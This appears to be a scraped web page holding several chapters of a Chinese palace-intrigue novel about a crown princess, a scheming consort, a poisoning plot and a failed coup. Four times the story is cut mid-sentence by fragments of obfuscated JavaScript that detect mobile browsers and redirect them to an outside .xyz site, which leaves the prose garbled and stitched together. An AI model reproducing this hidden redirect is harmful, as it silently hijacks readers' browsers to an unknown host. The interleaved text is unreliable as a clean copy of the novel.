RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520914|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不假手于人,几个孩子都被照顾得很好,平安和长安都胖了些,近日夜里更是安眠。” 永隆帝放下心,语气赞赏:“太子妃勤勉,又是我大周有功之臣,该赏。” 他大手一挥,就赏下了许多东西。 崔锦忙起身谢恩。 “好孩子,快坐下吧。”淑贵妃慈爱得很,“本宫平日无聊得很,等年后你们搬入东宫,本宫一手抱孙,一手挽媳,日子可算就有盼头了。” 崔锦笑容深了些:“只要母妃不嫌妾身烦人,妾身日日抱着孩子们来看您。” “你尽管来。”淑贵妃笑容满面,同她说了好一会儿话。 今日这般场合,她这种聪明人本不会多嘴说什么,可萧临最近几乎有独宠陆知意之势,她自然要为崔锦撑起腰来。 萧临眼瞎也不是一天两天了,她懒得搭理,但崔锦和她的孙子孙女可不能受委屈。 她就是要当众表明自己的态度,好叫这群人眼睛都放亮点! 崔锦自然明白,心中对淑贵妃倒多了几分感激。 诚然淑贵妃对她们母子的看重一半在于利益,一半才是血脉,可论迹不论心,这份情,她该承。 最不满的大概只有陆知意,但她自持有萧临宠爱,想通后,便也不将淑贵妃放在眼里了。 上首,永隆帝挑了些宗室重臣,一一关心过,着重与周大儒和崔瞻多聊了几句,给足了脸面。 轮到刘家时,他笑容更深:“听闻前些日子刘爱卿去城外施粥了?” 刘大人忙起身回道:“回皇上,年关将至,人人喜气洋洋,可仍有过路人行色匆匆,乞丐食不果腹,老臣观之,心下实在不忍,便开了家中库房,去城外施粥,过年之时,该是普天同庆共沐皇恩才是。” 他话说得好听,永隆帝面上也的确龙颜大悦。 “若人人都如刘爱卿一般博施济众,忧国忧民,我大周何愁不兴啊!” 刘大人忙道不敢。 永隆帝摆摆手:“刘爱卿不必自谦,百姓能自发为你扬善名,自是你言行助人。” 顿了顿,他道:“左翼前锋统领一职空缺,正需爱卿这般仁厚德行之人担任。” 第一百四十八章 陆家要反了 左翼前锋统领,正二品,天子近卫。 上一任前些日子告老还乡,直到封朝前,朝中都还在争议这个位置该由谁顶上。 刘大人不在候选人之列,却直接弯道超车,压过了所有同僚,官升一级,还成了天子近卫。 天上掉下来的馅饼差点将他砸懵了。 他施粥是为了与北境传消息,再方便做些不可告人的事,那些善名是他顺带着叫人传出去的——做都做了,当然要宣扬的人尽皆知才好。 万没有想到,竟还有如此惊喜在等着他! 反应过来后,他面露喜色,立刻跪地谢恩:“老臣多谢皇上,必不负皇恩,兢兢业业!” 他说得慷慨激昂,忠心十足,上首的永隆帝眼底却含一抹微不可察的冷意。 底下,不少人在恭喜刘大人,也有不少心里冒酸水的。 怎么就忘了,这般要职,除了能力与圣心外,品行也格外重要——负责天子安危的职位,当然要忠心不二,时时顾念君国。 姓刘的这一手,玩得真漂亮啊! 殿内人心浮动,波诡云谲,但明面上依旧觥筹交错,热闹极了。 崔锦静静吃着饭菜,只在萧临给她夹菜时小声谢过,可**话没说完,就被陆知意打断,缠着萧临也给她夹菜。 最近的春风得意叫她本就不多的谨慎化为乌有,尤其刘大人的高升更是喜人。 一定要找机会昭示自己与刘家的亲近! 如此,她腰板会更加硬几分,而崔锦仅凭一个年过半百的周大儒,又能撑多长时间? 她唇角勾起一抹笑意,挑剔而轻蔑地扫过崔锦。 一场晚宴直到月上中天才结束。 回到府里时,见萧临要与崔锦一起回正院,她眉头一竖,娇声唤了句:“殿下……您都多少个晚上没陪过妾身了,今夜竟还要与旁人过么?妾身不依!” 她拉着萧临不让走,楚楚可怜又强势霸道。 萧临皱起眉:“你想来一起守岁也行。” “……”她哪是这个意思! “殿下……”她拖长尾音,娇媚勾人,眼波流转间的暗示意味近乎摆在脸上了。 天知道她虽受宠,可因为各种各样的原因,唯一与萧临亲近过的一回竟只有新婚之夜,她自然不满。 方方面面的宠爱,她都要坐实了才行! 若能趁机怀上孩子…… 此时,崔锦垂眸屈膝:“妾身告退。” 陆知意勾起唇:“太子妃慢走。” 算这个**有眼色!看她失魂落魄,可真痛快啊! 但萧临却急了,忙扒拉开她的手,耐心安抚两句:“本宫有要事与太子妃商议,你先回去,明日本宫就来看你。” 话落,他转身大步离开,没有半分犹豫。 陆知意沉下了脸。 什么要事能比她还重要? 萧临若再分不清轻重缓急,她可不会轻饶过他了! 见叶挽棠嗤笑着离开,她眼眸骤深,冷哼一声:“过一刻钟后去请太子殿下,就说我梦魇了,心慌得紧。” 翠环笑了,立刻屈膝应下。 以前不能与正院互别苗头,是因为太子重规矩好面子,又顾及着那三个祥瑞。 可如今他们良娣盛宠,满府里头一份儿,更叫太子殿下为她屡屡破例,若这时还要顾忌着正院,那才真要叫人笑掉大牙了! …… 正院,萧临匆匆跟来。 崔锦听到脚步声,立刻转道去了偏房看孩子。 现在还不到挑破一切的时候,她也觉得应该给萧临一个终身难忘的经历。 等陆家开始动作了,也就到她动手的时候了。 看着怀里眯眼笑的成安,她也忍不住轻轻一笑。 萧临正走到门外,看到这一幕,顿时神色微怔。 明明与崔锦闹别扭也没几日,可她如此轻柔而不掺任何杂质的笑容,他却觉得好像很久未见了一样。 有些恍然,有些想念。 他走上前,正撞上崔锦满是诧异的脸: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520915|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “殿下怎么来了?” “自是陪你除夕守岁。”他声音轻柔。 崔锦微愣,竟有些受宠若惊,眼睛也微微红了。 萧临心里蓦然一疼。 果然伤到她了吗? 不过只是守岁罢了,竟叫她如此惊喜……难道她以为他日后都不会与她重回从前了不成? 满腔难言的酸涩促使他更进一步,想握住崔锦的手。 “殿下,不好了!”翠环急迫的声音响起,“我们良娣梦魇了,不住地喊着心慌,您快去看看吧!” 萧临眼神微冷:“庆喜,去请杨院判。” “是。” 不过眨眼间,翠环一脸懵地跟着庆喜出了正院。 里间,萧临回过头正要说什么,就见崔锦眼眸黯淡了下来。 他有些烦躁地捏了捏眉心。 陆家**的事不能透露分毫,对崔锦就无从解释为何宠爱陆知意……那他即使说再多,也无法解开她的心结。 他沉默片刻,叹了口气,抱起长安,与她无言地哄着孩子守岁。 翻过年后应酬不少,崔锦足足忙了五日才堪堪闲了下来,而卫期的信也及时传了进来,上面只有四个字——时机已到。 陆家要反了。 崔锦眉眼间闪过深思,问:“沁芳院没动静?” 如秋轻声回:“不是缠着太子殿下,就是责打下人,还罚了两个良娣和一位奉仪。” 陆家没告诉陆知意? 也不对,就她的言行来看,不太像全然不知,或许她只知道一部分——比如顺利怀上萧临的孩子,去父留子。 也许原先的陆总督也是这么想的,可就在永隆帝一次又一次的给了机会后……他怎么忍得住? 至高无上的位置,谁都想坐。 “陆知意现在在哪?” “在花园里,昨儿太子殿下刚为她移栽了满园梅花,她叫了不少人去赏景。” 崔锦勾起唇角,起身理了理衣裳:“走吧,我们也去赏赏梅。” 一百四十九章 一个失宠失势的**,也敢再叫她低头? 花园。 雪意未消,还泛着些凉意,可本该冷清的地方此时却热闹不已。 “哎呀,这雪梅可当真漂亮。”韩奉仪满脸惊讶地托起一株雪梅,“妾自幼在西南长大,从来没见过雪,也没见过梅,今日托了良娣您福,可算开了眼界。” “谁说不是呢。” 蒋良娣笑意盈盈:“太子殿下念着陆姐姐,竟一夕之间搬空了花园,只为移栽陆姐姐最爱的雪梅,单这份心思,就叫你我大开眼界了。” “太子殿下待陆良娣当真是情深义重,疼爱得紧,不知羡煞多少姐妹们呢。” 几人七嘴八舌地捧着陆知意。 她们都是与陆知意同期入府的新人,先前还对崔锦有顾忌,可眼见着崔锦渐渐失宠,而陆知意盛宠不衰,还叫萧临屡屡破例,自来赶热灶了。 相对而言,旧人就都聪明得多了。 ——先前如**、梁溶月之流,得宠过吗?得过。 可结果呢? 她们有人赶过热灶,可这两人却凉的一个比一个快,即便盛宠也不过短暂时光。 反倒是崔锦不显山不露水,却从未断过宠爱。 如今眼见着陆知意虽得宠,可萧临给正院的赏赐却从未断过,还差点搬空了库房里的金银珠宝,她们心里就都有数了。 即使没猜到陆知意得宠的真正原因,但崔锦失不了宠也是必然。 正在此时,韩奉仪眼尖地看了花园外一眼,惊讶问:“太子妃?” 众人循声看去。 崔锦正搭着如春的手经过。 “太子妃来了怎么不进来?”陆知意唇角勾起笑容,“雪梅难得,既然来了,也该赏赏景才是。” “本宫只是经过。”崔锦声音平淡。 “既来了不就是缘分?”蒋良娣掩唇轻笑,“这可是太子殿下特意为陆姐姐移栽的雪梅呢,寻常哪看得到?听闻太子妃是才女,不如也来赏一回梅,留个诗作,也算一桩风雅事了。” 陆知意眼眸微动:“大家盛情相邀,太子妃若不来,便有些不给面子了吧?太子殿下可最盼着咱们后院和睦呢。” 崔锦蹙起眉,似乎是被架住了。 片刻后,她抬步进了花园。 见她看着雪梅,陆知意故意问:“太子妃觉得如何?” “雪添其清绝,梅报以温香,清极不知寒,冷处偏佳。”崔锦语气温和而欣赏。 陆知意笑容微落。 她是想看崔锦失魂落魄的模样,而非听她抖书袋,不就是懂点诗书么?当谁没看过! 她轻笑一声,语气娇羞道:“我本也只是随口一说,并未想大兴土木,谁知太子殿下偏不依,非将我随口之言当真,即便忙于公务也不忘为我移栽雪梅,叫我得几分趣味,真是……” 她得意而挑衅地看着崔锦,语气却娇媚:“太子妃别见怪啊。” 崔锦没说话。 蒋良娣心中一动,顿时笑了:“太子殿下对陆姐姐之心,如今满府还有谁不知道?太子妃早就见怪不怪了,陆姐姐别多想,你现在最要紧的,是为殿下诞下子嗣……以殿下对你的宠爱,不知要多疼那位小殿下呢。” 崔锦不过是仗着生了萧临仅有的子嗣才地位稳固。 可若这平衡被打破,等盛宠的陆知意生了孩子,崔锦那三个,又算得了什么呢? 这话是奉承,可陆知意眼中却闪过愠意。 萧临还是没碰她! 每次他晚间来,总会被各种各样的意外打断,转身离开。 外头都以为萧临在她院中过夜,实则真睡床上的只有她一个人! 一想到这里,她就看崔锦愈发不顺眼,冷声道:“太子妃不是要作诗么?你为我作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520916|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的诗,我一定好生收录,回头给殿下瞧瞧,欣赏一番,如此……你虽见不到殿下,但到底能沾些我的光,在殿下那里留几分旧情了。” “陆良娣慎言。” 如春忍不住斥道:“太子妃是主母,你岂敢如此奚落,还不以妾礼自称?” “妾礼?” 陆知意忽地笑了,轻蔑地看了她一眼:“我今日执妾礼,晚间太子殿下知道,便会更心疼我,从而迁怒太子妃,为了太子妃的颜面着想,我自要随性肆意些。” 崔锦纵使早有预料陆知意会嚣张跋扈,此时也不由得看了她一眼。 她没想到陆知意会轻狂成这样。 在太子府尚且如此,在无人能管她的北境,更不知要多狂妄。 想罢,她语气平淡却强硬:“太子如何处置本宫,无需陆良娣费心,但今日若容你对本宫不敬,便是本宫掌家不严之过了。” 陆知意脸色骤沉。 一个失宠失势的**,也敢再叫她低头? 真是痴人说梦! 两人无言对峙,周围众人面面相觑,却只有蒋良娣和韩奉仪态度鲜明的站了陆知意,言语间竟有奚落之意。 其他人顾忌着崔锦的正妻身份,还有她背后的周大儒和谢氏,都没敢开口。 “蒋良娣、韩奉仪犯上,禁足一月,罚抄府规千遍。”崔锦冷声开口,“陆良娣,罚跪一个时辰,抄府规千遍。” “你敢?!” 陆知意毫不畏怯,冷笑开口:“本还想维持表面平和,给你几分面子,你既然自己不想要,我便也不必给你脸了!” 她上前一步,正要开口,余光忽地瞥见一抹杏黄色衣摆,顿时心中一动。 一瞬后,她猛地抓起崔锦的手,狠狠推向自己。 “啊——” 她满脸惊慌,向后倒去。 一百五十章 请您将此药下给太子 萧临刚走到花园就看到这一幕,顿时眉头紧皱。 “陆良娣!” “您没事吧?” 陆知意被丫鬟接住,完好无损,但眼睛却红了起来。 这时,蒋良娣似才看到萧临,惊讶道:“太子殿下?您怎么来了?” 众人连忙行礼。 萧临大步走了过来。 “殿下……”陆知意一看到他,顿时哭了出声,“妾身不知哪里得罪了太子妃,竟被如此暗害羞辱……冰天雪地,若摔倒在地,岂非要破相?身子骨也要被寒气侵蚀,太子妃……太子妃好狠的心啊……” “陆良娣真会倒打一耙。”如春立刻开口,“怎不提你对太子妃不敬一事?方才也分明是你强拽着太子妃的手陷害她!” “你在胡说什么?” 陆知意眼睛更红,立刻回头扫视一圈其余人:“方才是怎么回事,有眼睛的都看得到,你们说!” 蒋良娣毫不迟疑地道:“是太子妃推了陆姐姐,陆姐姐也没有对太子妃不敬。” 她身后,韩奉仪和其余人犹豫一瞬,也纷纷点了头。 现在若不站在陆良娣这边,势必要被她记恨,她有太子的盛宠,又有强硬的家世,她们怎敢得罪? 而太子妃已经失宠,就算靠山也硬,但她脾性温和宽厚,得罪她总比得罪陆良娣要好。 崔锦不可置信地看着她们。 萧临皱起的眉几乎能夹死苍蝇了,看向陆知意时,眼底的冷意几乎快满溢出来,但想到明日的筹谋,他还是闭上眼压了下去。 “我作证!” 假山一侧,苏玉忽地缓步走出,屈膝道:“妾身方才在另一处赏梅,正巧旁观经过……陆良娣在诬陷太子妃,方才她对太子妃的态度更是不敬。” 她扬声将陆知意的话都复述了一遍。 萧临眼神微缓,心下对她满意了几分。 “既然如此……” “殿下!”陆知意哭得梨花带雨,上气不接下气,“难道您不信妾身,反而要信旁人吗?!” 萧临努力缓和了语气:“本宫自是信你。” 崔锦倏而抬头看他,眼底的情绪萧临一时没看懂,但看到了她一闪而过的水光。 他攥起手,撇开眼神,沉声开口:“此事你两方皆有人证,无法辨明真假,便就此作罢吧,陆良娣受了惊吓,庆喜去请太医来瞧瞧,太子妃……回去思过吧。” 陆知意眼中瞬间闪过得意,满意了些,娇声哭道:“多谢殿下体恤……妾身就知道殿下最好了。” 若非萧临站得太远,她都想顷刻间依偎进他怀里,当众彰显自己的宠爱了。 但眼下,暂且也够了。 萧临明目张胆的偏爱,除了她,还有谁配? 她轻蔑而不屑地扫过崔锦,擦了擦眼泪:“殿下,我们回吧,妾身困了。” 萧临应了声。 崔锦愣愣地看着他,神色似怔然似恍惚,像是失神了一样。 只是眼里的水光却越来越明显,渐渐红起的眼睛叫萧临几乎克制不住地想上前,将她抱在怀里,小心地为她擦去眼泪。 庆喜暗暗扯住了他。 就差最后这一天了,可不能前功尽弃啊! 陆家的眼线还在暗处盯着呢! 萧临回过神,逼着自己硬下心肠,与陆知意一同离开,没再看崔锦一眼。 等明天,等明天陆家事发,他就将一切和盘托出,崔锦只会难过一天。 一天而已。 这般安慰着自己,他心中却不知为何,疼的厉害。 花园里,崔锦还在看着萧临的背影,失魂落魄。 蒋良娣掩唇轻笑一声:“太子妃怎得还不回去?太子殿下可叫您闭门思过呢。” “正是呢。”韩奉仪上下打量了崔锦一眼,满是讥讽,“太子妃也莫要太难过,毕竟您人老珠黄,而陆良娣年岁正好,也正是太子殿下喜欢的模样,殿下怎能不动心呢?幸而您还有三位小殿下聊以慰藉,最起码……在陆良娣的孩子出生前,您地位稳固,能靠着小殿下们博些太子殿下的恩宠呢。” 此言一出,众人皆都笑了。 她们本还有些犹豫,可见连苏玉出来作证,萧临都选择偏心陆知意,便彻底看清了形势。 崔锦是太子妃又如何? 不受宠,就什么都不是。 陆知意也必然不会叫她占着太子妃的位子……距她下堂之日恐怕不远了。 哪还需要敬着? 崔锦冷冷扫过她们,转身离开。 苏玉连忙跟上,语气真诚地安慰了她一会儿,才适时告退离开。 看着崔锦的背影,她眼眸微闪。 崔锦的手段,她深有体会,若说就这么被打压下去,她可不信。 还有萧临的态度,怪得很。 直觉告诉她,此时站崔锦,未来 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小石子很快提了食盒进来,走去陆知意身旁摆盘,同时低声开口:“总督大人有令,请您将此药下给太子,务必盯着他亲口服下。” 他将一个药包塞进陆知意手中。 “这是什么?”陆知意扫了两眼,随口问。 “**。”小石子解释,“于子嗣无碍,良娣放心,您的坐胎药是总督叫军医特制,两个月内必能有孕,届时……便无需太子了。” 陆知意一愣,心忽地砰砰跳了起来。 这言下之意……父亲要将永隆帝和萧临一起杀了? 崔锦不足为惧,而自己腹中的孩子就会成为大周唯一的继位者,她也将是大周最年轻的太后…… 陆知意心头猛地热了起来。 可转瞬想到萧临,又有些犹豫——萧临虽冷落过她,可那是没有看清自己的心而已,这段时日,除了没有同房,他对她堪称有求必应,百依百顺,今日甚至不顾事实如何,明目张胆的偏爱于她。 若说不心动,那是假的。 这是她唯一亲近和喜欢过的男子。 “良娣舍不得?”小石子低声道,“不过一个男人罢了,等您当了太后,什么面首养不得?若实在喜欢这位,届时叫总督大人手下留情,给您做个豢宠又何妨?” 陆知意眼睛一亮。 小石子垂下眸,掩去眼底的深意。 一百五十一章 明日等着本宫的喜讯 晚间,萧临终于忙完,来了沁芳院。 “殿下回来了?”陆知意立刻迎上前,拉着他娇声道,“妾身都等了您好久了。” “最近刚开朝,忙了些。”萧临声音温和,“明日过后,兴许就能闲下来了。” “真的吗?”陆知意顿时笑了,理直气壮道,“那可要罚您日日陪着妾身!” 萧临温声应了。 见陆知意还要缠着他,他忽地道:“明日本宫会同父皇请旨,给你晋位,再给你个封号如何?” 陆知意一愣,反应过来后,顿时面露惊喜:“封号?” 萧临点点头:“先前冷落你那么长时间,又叫你降了位,这便当是本宫的赔礼吧。” 陆知意喜上眉梢,忍不住扑去他怀里:“殿下真好!妾身最喜欢殿下了!” 本朝以来,从未有太子侧妃封号的殊荣,便连历任太子妃都没有,萧临若没有将她放在心上,怎会想到连她都没想到的此处? 他必定爱极了她! 想到这里,陆知意心中止不住的得意。 萧临这种天潢贵胄,俊美无俦又战功赫赫,身份更是尊贵,几乎没有短板,被这种人深爱,无疑很能满足陆知意的虚荣心。 尤其这个男人还曾有无比宠爱的女人。 如今他却折服在她的魅力下,甘愿成为她的裙下臣,为她殚精竭虑,给她无上恩宠。 这叫她有种胜过旁的女人的自得。 抢来的,才是最好的! 正在她心念电转之际,却被萧临推开:“本宫先去沐浴,你困了就先睡吧。” “妾身不困……”她拉着萧临,眼神娇媚流转,满是暗示意味,“妾身等着殿下。” 萧临微不可查的一顿,点点头后就快步进了耳房。 陆知意满脸情意的看着他的背影,在原地高兴了好一会儿,才在翠环的暗示下,想起什么。 她迟疑地看了眼耳房紧闭的门,还是下定决心,快速将药粉倒进了热茶里,搅拌均匀。 无色无味,看不出任何异常。 一刻钟后,听到耳房有了动静,翠环看了眼陆知意,屈膝告退。 萧临从耳房走了出来。 “殿下今儿可累了?”陆知意脸上浮起担忧,“妾身瞧您眼下都泛起乌青了,莫不是这几日都没睡好?” “嗯。”萧临深深看了她一眼,“这几日忙于公务之余,总是想起你,夜里也睡不好。” 他甚少说情话,陆知意脸颊顿时透出红晕,几乎红到了耳根。 “殿下……”她尾音拖长,含着娇意,嗔道,“妾身从前还以为您是个不苟言笑的冷面人呢,未想竟能说出这般……这般羞人的话。” “本宫对深爱之人从不冷面,也喜说情话。” 烛火下,他的侧脸棱角分明,如古雕刻画般,衬得他双眸都温柔起来。 陆知意愣愣地看着他,本就红晕未褪的脸颊一时竟红意更甚,连脖颈处都染上薄红。 从未有男子对她说过这般直白大胆的话,更别说萧临这个她本就有好感的。 他……竟称她为深爱之人。 陆知意脸颊泛红,心头猛跳了起来,小鹿乱撞一般,几乎快撞乱了她的心神。 “这是给本宫泡的茶?” 陆知意被喊回神,就见萧临端起了那杯有药的茶盏。 “别……”她下意识开口,可只说了一个字就哽住了,“这茶……不知道凉没凉?” “你为本宫泡的茶,再凉也是喝得的。”萧临含笑说完,便将茶送至唇边,却忽地顿住。 陆知意提起心:“怎么了?” “头有些疼。”萧临另一只手揉了揉额头,“最近天冷事忙,本宫缺眠少觉,竟有些受风头疼,若再灌杯凉茶,恐怕要染上风寒了。” 陆知意有些纠结,萧临这般深爱她,其实也不必非要喝这药不可,但父亲的命令不可违背,而且……手握大权的太后总比要斗六宫的皇后风光,不是么? 她不会杀了萧临,以后还会叫他做太上皇,享无上荣光,他们是双赢。 这般说服了自己,她便斟酌着言辞,准备撒个娇叫他喝下。 “不如你再为本宫倒杯热茶吧。”萧临开口。 见陆知意愣住,他含笑道:“你亲手泡的茶怎可不喝?喝完后立刻再灌杯热茶润润就是了。” 陆知意顿时松了口气。 沉溺在他异常温柔的言辞里,她不假思索地就上前为他倒茶:“殿下可真会使唤人,倒了一杯不够,还要再倒一杯,日后若再如此, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520918|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妾身可不依!” 她手下不停的倒了杯热茶转身,就见萧临刚仰头喝完。 “殿下快喝吧。”她将热茶递过去。 萧临含笑喝得干干净净。 袖中,浑厚的内力早已将沾湿的地方蒸干,不见半分湿意。 “沁芳院的茶的确格外好喝。”他赞道,“本宫连喝两杯,竟连身上都沾了茶香。” 陆知意凑近闻了闻:“还真是。”手上连带着手臂的茶香最浓。 还未等她细想,就听萧临道:“或许是那杯凉茶的功劳吧,这是江南那边快马加鞭送来的新茶,凉时虽苦,却泛着浓香。”顿了顿,他笑看向陆知意,“也可能是经你手泡的茶格外香。” 陆知意心里一个咯噔,心虚之下,自己便揭过了这茬。 “殿下惯会取笑妾身!”她娇声说着。 萧临温声与她聊了几句,便道:“夜色已深,快些安寝吧。” 陆知意刚应下,就见他走向软榻,顿时跺脚不满:“殿下!” 萧临无奈转身:“你风寒刚愈,本宫又隐隐染上了,若传给你可怎么好?你还想再喝苦药,一连半月不得出门?” 陆知意顿时摇头,又有些不甘心地看着软榻。 “快睡吧。”萧临耐心说道,“养好精神,明日等着本宫的喜讯。” 明日圣旨降府,会恢复她的位份,给她本朝头一个侧妃封号! 陆知意想到这点,顿时高兴起来,也没那么计较萧临睡软榻了,只媚声道:“那……等殿下好了,可得好好陪妾身,妾身一直喝着坐胎药,定能为您诞下一个健康漂亮的儿子。”她轻轻说着,眉眼间满是羞意。 “嗯。”萧临眼眸骤深,“本宫也盼了许久了。” 陆知意这才心满意足地上床歇息。 萧临转身的瞬间,脸色骤冷。 翌日,陆知意起身梳妆后,萧临还在睡着。 见翠环被庆喜催着要上前叫人,陆知意眼睛一转,叫住她:“殿下这几日累着了,多让他睡会儿吧。” “那早朝……” “辞了。”陆知意毫不在意,“又不是头一回了,有什么要紧。” 翠环出门转告庆喜。 庆喜面上为难,眼底却闪过一抹怒意。 一百五十二章 萧临为了陆知意又辞早朝的消息已经传遍了后院——翠环特意放出的风声,好叫后院都看清楚沁芳院的宠爱究竟有多深。 尤其是正院,就差叫人在外头高喊此事了。 早膳送来时,萧临还是没醒。 陆知意犹豫着要不要叫醒他,却见小石子也跟来送膳了。 “都下去吧。” “不必了。”小石子脸上露出笑容,“太子府即将是我们囊中之物,何必还装模作样?” 陆知意微愣,心中隐隐涌起一股不妙的预感:“你……什么意思?” 小石子笑容不变,恭身下拜:“奴才多谢良娣为总督的大业又添奇功,等总督大人登基之日,就是您荣封公主之时!” 陆知意脸色骤变:“什么登基?父亲什么意思?不是要扶我儿子登基吗?!” 周围的人已被他们的对话惊呆在原地,有人反应过来,正要离开去报信,就被身边人制住。 沁芳院的人除了屈嬷嬷,都已成陆知意的人,膳房来的这几个根本不是对手。 小石子则继续道:“良娣您的儿子还没影儿呢,总督大人可等不了那么久了,再者说,这做摄政王,到底不如自己登基来得痛快,您说是不是?” 他笑容满面。 扶陆知意的儿子是别无选择之举,可若有选择,陆总督怎会甘心扶外孙上位? 他当然想为自己和儿子打下江山! 陆知意心头狂跳,想到什么,立刻狂奔进屋,颤抖着手去探萧临的鼻息。 没气了…… 萧临**。 被她毒**。 陆知意愣在原地,一时怔然。 这是她没预料到的结果,心中有对萧临身死的悲伤,但更多的还是对自己前程的不甘。 若早告诉她做公主就是结局,她或许会接受,还会很高兴。 可已经做过独揽大权,垂帘听政的美梦,再告诉她这**江山与她和她的儿子无缘,只属于她的哥哥……这叫她怎么接受? 小石子跟着她进来,见状便知道萧临是死透了,顿时放下心。 他好心劝道:“良娣,现在可不是您伤心之时,奴才需要您配合着控制太子府,截住所有消息,再拿到京郊大营的兵符。” 陆知意的盛宠也是叫陆总督放心实施计划的关键一环。 太子府数千武艺高强的府卫,若能被他们控制,再加上京郊大营和陆总督提前联络好的禁卫军副统领,逼宫轻而易举。 陆知意脑子空白了好半晌,却也知道现在只能听从小石子的话了——萧临已经**,她没了倚仗和底气。 若不帮着陆总督完成计划,他们全家都会死的很惨。 很快,她骗过了外头的庆喜,去调集府卫。 京郊大营的兵权也从萧临身上搜到了。 小石子眼底闪过狂热,恭敬接过:“奴才这就叫我们的人传出城。” 两个时辰内,就可调兵逼宫了! 陆知意愣愣坐在椅子上,心中被懊悔与不甘填满。 不该如此深信父亲的,她原以为自己是家族唯一上位的指望,能独享家族资源,可现在…… 她即将成为最边缘化的一个人。 甚至因为嫁过萧临,日后连做公主都要被戳脊梁骨,更不会被父亲哥哥纳入权利中心。 正在她愣神之际,小石子满脸喜色地进来:“良娣,禁卫军副统领已控制半数禁卫军,大开城门,与京郊大营会和,正跟着总督大人往宫里去了!” “父亲何时到京的?”陆知意面露惊愕。 “前几日便到城外了。”小石子笑道,“总督大人不来,怎么登基呢?” 陆知意紧紧攥起双手。 父亲从未告诉过她。 她猛地起身:“我要见父亲!” 小石子立刻上前一步,拦住她:“良娣不必担忧总督大人,您是姑娘家,也不必沾染这等要命事,只管等着做尊贵的公主就是。”他含笑说着,语气却不容置疑。 “狗奴才,滚开!”陆知意抬手欲拂开他,却反被制住。 正在两人僵持不下时,软榻上,萧临心里有了底,便睁开眼,随意坐起身。 “你、你……”小石子目露惊恐,“你没死?” 他猛地转头,看向陆知意。 陆知意也懵了。 “真当我皇室蠢笨至此,任你陆家摆布?”萧临冷笑一声,大步走来。 小石子眼神一慌,立刻反制陆知意,掐住她咽喉:“再敢过来,我杀了她!” 萧临脚步 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费尽心思演这一场戏,可不止是为了叫一个陆总督自投罗网。 永隆帝更想看看自己的朝中究竟有多少有志之士,又有多少他没查出来的反贼。 这回算是一网打尽了。 禁卫军副统领是假意投敌,京郊大营的将士更绝非一个兵符能调动——不过是迷惑陆家罢了。 他们忠心的从来只有永隆帝。 “殿下要进宫吗?” 萧临微顿:“不用。” 永隆帝早就提前暗示过,只叫他处理宫外事宜,少掺和宫里的战场。 他还是防着他——即使他手中并无兵权。 心念电转间,外头忽然传来几道急切的唤声:“太子妃,太子殿下有吩咐,任何人都不能进沁芳院,您不能进去啊——” 下面人不敢真拦,崔锦很快便冲了进来。 角落里的陆知意眼中闪过一抹怨毒,趁萧临注意力俱在门外的崔锦身上时,猛地抽出桌边**,用尽毕生最快的速度,刺向刚进门的崔锦。 “**吧!**!” 第一百五十三章 捆绑萧临 崔锦看到尖利**的瞬间,眼神微变。 外头的声音太吵,盖过了屋内,纵使她内力当得深厚,也没料到一进门就是杀机。 萧临离得太远,救不了她。 如夏在院外应付庆喜,根本没进来。 只有自救了。 暴露武功无妨,命才最要紧。 反正这里只有萧临和陆知意,陆知意活不了多久,萧临……更不用担心了。 “锦儿!” “**吧!” 萧临与陆知意的声音交叠响起。 崔锦眼神一厉,以一种不可思议的角度和速度极快的躲开即将刺入心口的**,同时手腕翻转,击落陆知意的**,随后右脚抬起猛踹陆知意的小腹。 “啊——” 陆知意被踹得径直飞起,重重砸落桌椅,摔去地上。 “噗——”她捂着剧痛的小腹,猛地吐出一大口血,整个人的精气神几乎顷刻间衰败下去。 她勉力抬起头,不可思议地看向崔锦。 一个闺阁女子,没用的废物,怎会有如此高深的武功,竟……能将她踹得飞离地面,身受重伤? 她不敢相信自己的眼睛,可小腹的剧痛却又实实在在的提醒她,自己没看错。 这个**以前在藏拙! 萧临也愣了一瞬,但他被陆知意的**刺激到,没工夫去想崔锦会武的事,立刻奔上前,抓着她上下细瞧,眼神极度紧张。 “锦儿,你没事吧?有没有伤到?” 崔锦愣愣看着他,眼中泛着他一时看不明白的情绪。 “殿下要进宫吗?” 